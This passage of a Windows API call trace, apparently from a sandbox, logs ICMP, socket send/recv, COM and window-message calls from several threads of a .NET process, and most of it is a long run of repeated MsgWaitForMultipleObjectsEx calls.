[0302.270] IcmpCreateFile () returned 0x1e720a40 [0302.271] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0302.271] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471e00 [0302.271] IcmpSendEcho2 (IcmpHandle=0x1e720a40, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471e00, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78) Thread: id = 296 os_tid = 0xcd4 [0175.090] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0175.090] RoInitialize () returned 0x1 [0175.090] RoUninitialize () returned 0x0 [0178.353] CoTaskMemAlloc (cb=0x20c) returned 0x1b35c000 [0178.353] GetSystemDirectoryW (in: lpBuffer=0x1b35c000, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0178.353] CoTaskMemFree (pv=0x1b35c000) [0179.259] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfddf58 | out: lpPerformanceCount=0x1dfddf58*=1149813193147) returned 1 [0244.678] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfddf58 | out: lpPerformanceCount=0x1dfddf58*=1156355009660) returned 1 [0245.068] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfddbf8 | out: lpPerformanceCount=0x1dfddbf8*=1156394007583) returned 1 [0245.069] select (in: nfds=0, readfds=0x28744a0, writefds=0x0, exceptfds=0x0, timeout=0x1dfdda48*(tv_sec=0, tv_usec=0) | out: readfds=0x28744a0, writefds=0x0, exceptfds=0x0) returned 0 [0245.070] send (s=0xaac, buf=0x2874f80*, len=830, flags=0) returned 830 [0245.072] setsockopt (s=0xaac, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0245.072] recv (in: s=0xaac, buf=0x24f9498, len=4096, flags=0 | out: buf=0x24f9498*) returned 161 [0249.894] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfddc78 | out: lpPerformanceCount=0x1dfddc78*=1156876652382) returned 1 [0250.004] SetEvent (hEvent=0x300) returned 1 [0250.006] select (in: nfds=0, readfds=0x28f8440, writefds=0x0, exceptfds=0x0, timeout=0x1dfddb28*(tv_sec=0, tv_usec=0) | out: readfds=0x28f8440, writefds=0x0, exceptfds=0x0) returned 0 [0250.010] send (s=0xaac, buf=0x28f8ef0*, len=630, flags=0) returned 630 [0250.017] select (in: nfds=0, readfds=0x28f9180, writefds=0x0, exceptfds=0x0, timeout=0x1dfdd9e8*(tv_sec=0, tv_usec=350000) | out: readfds=0x28f9180, writefds=0x0, exceptfds=0x0) returned 1 [0250.060] setsockopt (s=0xaac, level=65535, optname=4102, optval="[º\r", optlen=4) returned 0 [0250.060] recv (in: s=0xaac, buf=0x24f9498, len=4096, flags=0 | out: buf=0x24f9498*) returned 25 [0250.083] send (s=0xaac, buf=0x1271e1b8*, len=136897, flags=0) returned 136897 [0250.113] recv (in: s=0xaac, buf=0x24f9498, len=4096, flags=0 | out: buf=0x24f9498*) returned 161 [0253.497] SetEvent (hEvent=0x300) returned 1 [0253.563] CoUninitialize () Thread: id = 297 os_tid = 0xdc0 Thread: id = 298 os_tid = 0xdc4 [0176.575] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0176.575] RoInitialize () returned 0x1 [0176.575] RoUninitialize () returned 0x0 [0176.577] SetConsoleCtrlHandler (HandlerRoutine=0x1ace15cc, Add=1) returned 1 [0176.578] GetModuleHandleW (lpModuleName=0x0) returned 0x6b0000 [0176.579] GetModuleHandleW (lpModuleName=0x0) returned 0x6b0000 [0176.580] GetClassInfoW (in: hInstance=0x6b0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.392fc8e.0", lpWndClass=0x28d41f8 | out: lpWndClass=0x28d41f8) returned 0 [0176.585] CoTaskMemAlloc (cb=0x58) returned 0x1b34ef70 [0176.585] RegisterClassW (lpWndClass=0x1bb3dcd0) returned 0xc1e4 [0176.585] CoTaskMemFree (pv=0x1b34ef70) [0176.587] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.392fc8e.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.392fc8e.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x6b0000, lpParam=0x0) returned 0x902ee [0176.652] NtdllDefWindowProc_W (hWnd=0x902ee, Msg=0x81, wParam=0x0, lParam=0x1bb3d5f0) returned 0x1 [0176.657] NtdllDefWindowProc_W (hWnd=0x902ee, Msg=0x83, wParam=0x0, lParam=0x1bb3d6a0) returned 0x0 [0176.657] NtdllDefWindowProc_W (hWnd=0x902ee, Msg=0x1, wParam=0x0, lParam=0x1bb3d590) returned 0x0 [0176.658] NtdllDefWindowProc_W (hWnd=0x902ee, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0176.658] NtdllDefWindowProc_W (hWnd=0x902ee, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0176.658] SetEvent (hEvent=0xa54) returned 1 [0176.659] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0176.957] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.191] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.388] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.577] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.882] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.161] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.517] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.846] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.127] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.346] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.593] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.810] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.027] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.419] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.589] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.905] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.216] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.609] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.003] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.418] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.746] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.066] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.470] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.174] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.636] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.347] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.855] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.593] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.912] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.841] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.261] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.437] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.263] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.689] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.419] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.245] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.870] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.612] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.168] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.823] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.313] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.654] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.236] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.256] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.998] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.743] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.237] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.953] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.512] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.097] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.559] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.031] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.614] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.028] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.529] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.016] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.418] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.779] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.178] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.494] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.219] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.480] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.768] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.158] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.690] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.983] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.523] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.950] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.670] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.562] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.517] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.265] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.737] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.249] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.929] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.500] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.883] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.354] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.894] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.351] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.112] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.503] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.483] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.819] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.199] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.485] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.739] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.148] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.516] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.876] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.240] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.608] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.954] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.238] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.527] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.786] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.098] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.414] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.876] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.161] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.459] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.717] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.402] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.724] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.236] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.516] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.790] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.047] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.361] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.659] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.948] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.219] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.563] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.875] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.149] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.418] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.967] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.265] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.548] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.788] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.307] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.581] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.831] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0233.191] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0233.487] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0233.760] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0234.086] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0234.393] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0234.721] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0235.143] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0235.588] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0236.019] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0236.386] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0236.743] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0237.106] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0237.565] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0238.192] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0238.571] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0239.156] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0239.504] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0239.785] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0240.490] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0240.863] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0241.099] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0241.310] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0241.517] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0241.828] MsgWaitForMultipleObjectsEx 